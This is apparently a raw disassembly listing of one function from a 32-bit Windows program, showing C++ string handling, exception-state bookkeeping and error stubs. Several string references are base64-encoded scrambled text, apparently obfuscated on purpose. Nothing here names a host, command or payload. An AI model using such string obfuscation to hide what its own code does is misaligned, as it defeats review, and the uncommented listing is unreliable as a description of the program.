lea eax, [ebp - 0x2c]
push eax
push esi
call fcn.0054d24e
add esp, 0xc
cmp esi, dword [ebp - 0x2c]
je 0x52304a
cmp dword [edi], 0x22
je 0x523054
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
call fcn.00405f40
lea ecx, [ebp - 0xe4]
call fcn.0042aae0
jmp 0x522f01
mov edx, 0x5b6958
lea ecx, [ebp - 0x60]
call fcn.00441f20
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044cf00
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042aae0
lea ecx, [ebp - 0x60]
test esi, esi
je 0x5228ed
call fcn.0042a830
mov ecx, edi
mov dword [ebp - 4], 0x7f
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522890
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x6c]
call fcn.00523410
lea eax, [ebp - 0x20]
mov dword [ebp - 0x44], 0xffffffff
push eax
lea edx, [ebp - 0x44]
mov dword [ebp - 0x20], 0xffffffff
lea ecx, [ebp - 0x60]
call fcn.00448df0
mov eax, dword [ebp - 0x34]
add esp, 0xc
push dword [ebp - 0x20]
mov ecx, dword [eax + 0xc]
push dword [ebp - 0x44]
call fcn.00406550
lea ecx, [ebp - 0x60]
call fcn.0042aae0
jmp 0x522f01
mov edx, 0x5b6940
call fcn.00441f20
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044cf00
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042aae0
test esi, esi
je 0x52291f
call fcn.0044ce90
jmp 0x522f01
mov edx, 0x5b69a0
lea ecx, [ebp - 0x60]
call fcn.00441f20
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044cf00
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042aae0
lea ecx, [ebp - 0x60]
test esi, esi
je 0x522c4e
call fcn.0042a830
mov ecx, edi
mov dword [ebp - 4], 0x80
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522962
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523410
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.0041d300
lea ecx, [ebp - 0x40]
call fcn.0041d300
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0x82
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x60]
call fcn.00449000
add esp, 4
lea ecx, [ebp - 0x40]
call fcn.0044ceb0
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x522abb
push str.bnBtYnNhcg
lea ecx, [ebp - 0x24]
call fcn.0042c7e0
push str.Y3BwbXA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x83
call fcn.0042c7e0
push str.Y3BwS3FlO0dsdF9qZ2JdRGdqY11OX3Jm
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x84
call fcn.0042c7e0
push 0x58a2f0
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x85
call fcn.0042c7e0
push 0x58a2f0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x86
call fcn.0042c7e0
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x87
mov ecx, esp
push eax
call fcn.0042bb10
lea ecx, [ebp - 0x68]
call fcn.004422b0
mov edi, eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x88
mov ecx, esp
push eax
call fcn.0042bb10
lea ecx, [ebp - 0x84]
call fcn.004422b0
mov esi, eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x89
mov ecx, esp
push eax
call fcn.0042bb10
lea ecx, [ebp - 0x2c]
call fcn.004422b0
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x8a
push ecx
lea ecx, [ebp - 0x20]
mov edx, esi
push ecx
push edi
mov ecx, eax
call fcn.00453160
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.0042b640
lea ecx, [ebp - 0x84]
call fcn.0042b640
lea ecx, [ebp - 0x68]
call fcn.0042b640
lea ecx, [ebp - 0x20]
call fcn.0042b640
lea ecx, [ebp - 0x44]
call fcn.0042b640
lea ecx, [ebp - 0x38]
call fcn.0042b640
lea ecx, [ebp - 0x3c]
call fcn.0042b640
lea ecx, [ebp - 0x24]
call fcn.0042b640
lea ecx, [ebp - 0x38]
call fcn.0041d300
push str.eSBfbm4gOHkgI3VxIDh5IF9ubl1xcl9yc3EgOHkgbF9rYyA4ICN1cSAqIHFyX3JzcSA4ICN1cSB7e3t7
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x8b
call fcn.0042bee0
push str.bG1sYw
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x8c
call fcn.0042bee0
push str.Z2xxcl9qamNi
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x8d
call fcn.0042bee0
sub esp, 0x18
mov byte [ebp - 4], 0x8e
cmp dword [ebp - 0x28], 1
mov ecx, esp
jne 0x522b30
lea eax, [ebp - 0x100]
push eax
call fcn.0042bb40
lea ecx, [ebp - 0x68]
call fcn.00442050
add esp, 0x18
mov byte [ebp - 4], 0x8f
mov ecx, 1
jmp 0x522b53
lea eax, [ebp - 0xe4]
push eax
call fcn.0042bb40
lea ecx, [ebp - 0x28]
call fcn.00442050
add esp, 0x18
mov dword [ebp - 4], 0x90
mov ecx, 2
push dword [eax]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x130]
call fcn.0042bee0
mov dword [ebp - 4], 0x91
mov eax, dword [ebp - 0x3c]
test al, 2
je 0x522b85
and eax, 0xfffffffd
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x3c], eax
call fcn.0042b640
mov eax, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x93
test al, 1
je 0x522b95
lea ecx, [ebp - 0x68]
call fcn.0042b640
lea ecx, [ebp - 0x130]
call fcn.0042ba40
mov esi, eax
sub esp, 0x18
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x9c]
push eax
call fcn.0042bb40
lea ecx, [ebp - 0x84]
call fcn.00442050
push esi
mov byte [ebp - 4], 0x94
push dword [ebp - 0x1c]
push edi
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041eac0
add esp, 0x2c
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x84]
call fcn.0042b640
push ecx
lea eax, [ebp - 0x38]
mov ecx, esp
push eax
call fcn.0042bb10
mov ecx, dword [ebp - 0x34]
call fcn.0051e900
lea ecx, [ebp - 0x130]
call fcn.0042bc90
lea ecx, [ebp - 0x100]
call fcn.0042bc90
lea ecx, [ebp - 0xe4]
call fcn.0042bc90
lea ecx, [ebp - 0x9c]
call fcn.0042bc90
lea ecx, [ebp - 0x38]
call fcn.0042b640
lea ecx, [ebp - 0x40]
call fcn.0042b640
lea ecx, [ebp - 0x1c]
call fcn.0042b640
lea ecx, [ebp - 0x60]
call fcn.0042aae0
jmp 0x522f01
mov edx, 0x5b6a78
call fcn.00441f20
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044cf00
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042aae0
lea ecx, [ebp - 0x60]
test esi, esi
je 0x522d09
call fcn.0042a830
mov ecx, edi
mov dword [ebp - 4], 0x95
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522c90
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x6c]
call fcn.00523410
add esp, 8
lea ecx, [ebp - 0x60]
push 0x58a2f0
call fcn.00429480
lea eax, [ebp - 0x48]
mov dword [ebp - 0x24], 1
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x48], 2
push eax
lea eax, [ebp - 0x6c]
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x60]
call fcn.00449410
mov eax, dword [ebp - 0x48]
add esp, 0xc
or eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
call fcn.00412b80
lea ecx, [ebp - 0x60]
call fcn.0042aae0
jmp 0x522f01
mov edx, 0x5b69b8
call fcn.00441f20
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044cf00
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042aae0
test esi, esi
je 0x522dbd
lea ecx, [ebp - 0x60]
call fcn.0042a830
mov ecx, edi
mov dword [ebp - 4], 0x96
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522d50
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523410
add esp, 4
lea ecx, [ebp - 0x60]
call fcn.00523480
add esp, 4
lea ecx, [ebp - 0x130]
test eax, eax
mov eax, dword [ebp - 0x34]
setne byte [ebp - 0x2d]
push dword [eax]
call fcn.0042bee0
mov dl, byte [ebp - 0x2d]
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x97
call fcn.0052ec80
lea ecx, [ebp - 0x130]
call fcn.0042bc90
lea ecx, [ebp - 0x60]
call fcn.0042aae0
jmp 0x522f01
push edi
lea ecx, [ebp - 0x40]
call fcn.0042b560
push str.c2xpbG11bF1zZ11rY3FxX2Vj
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0x98
call fcn.0042c7e0
push str.a3FlOyN1cQ
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x99
call fcn.0042c7e0
lea ecx, [ebp - 0x1c]
call fcn.0041d300
sub esp, 0x18
mov byte [ebp - 4], 0x9b
mov ecx, esp
push dword [ebp - 0x40]
call fcn.0042bee0
lea ecx, [ebp - 0x68]
call fcn.0042d4c0
add esp, 0x14
mov byte [ebp - 4], 0x9c
mov esi, dword [eax]
mov ecx, esp
lea eax, [ebp - 0x44]
push eax
call fcn.0042bb10
lea ecx, [ebp - 0x28]
call fcn.004422b0
add esp, 4
push esi
mov byte [ebp - 4], 0x9d
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0041eac0
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.0042b640
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x9b
call fcn.0042b640
push 0x58a2f0
lea ecx, [ebp - 0x20]
call fcn.0042c7e0
push 0x58a2f0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x9e
call fcn.0042c7e0
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x9f
mov ecx, esp
push eax
call fcn.0042bb10
lea ecx, [ebp - 0x68]
call fcn.004422b0
mov esi, eax
sub esp, 0x14
mov byte [ebp - 4], 0xa0
mov ecx, esp
push 0x5bb218
call fcn.0042bb40
lea ecx, [ebp - 0x28]
call fcn.00442050
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xa1
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov edx, esi
mov ecx, eax
call fcn.00453160
add esp, 0x24
lea ecx, [ebp - 0x28]
call fcn.0042b640
lea ecx, [ebp - 0x68]
call fcn.0042b640
lea ecx, [ebp - 0x24]
call fcn.0042b640
lea ecx, [ebp - 0x20]
call fcn.0042b640
lea ecx, [ebp - 0x1c]
call fcn.0042b640
lea ecx, [ebp - 0x44]
call fcn.0042b640
lea ecx, [ebp - 0x38]
call fcn.0042b640
lea ecx, [ebp - 0x40]
call fcn.0042b640
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
push str.invalid_stoi_argument
call fcn.0052f689
push str.stoi_argument_out_of_range
call fcn.0052f6c9
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
call fcn.0054b7ff
push 0x80004005
call fcn.0042c6b0
push 0x80004005
call fcn.0042c6b0
push 0x80004005
call fcn.0042c6b0
push 0x80004005
call fcn.0042c6b0
push 0x80004005
call fcn.0042c6b0
push 0x80004005
call fcn.0042c6b0
call fcn.0054b7ff
call fcn.0054b7ff
push 0x80004005
call fcn.0042c6b0
push 0x80004005
call fcn.0042c6b0
push 0x80004005
call fcn.0042c6b0
push 0x80004005
call fcn.0042c6b0
push 0x80004005
call fcn.0042c6b0
push str.invalid_map_K__T__key
call fcn.0052f6c9
push 0x80004005
call fcn.0042c6b0
push 0x80004005
call fcn.0042c6b0
push 0x80004005
call fcn.0042c6b0
push 0x80004005
call fcn.0042c6b0
push str.invalid_stoi_argument
call fcn.0052f689
push str.stoi_argument_out_of_range
call fcn.0052f6c9
nop
invalid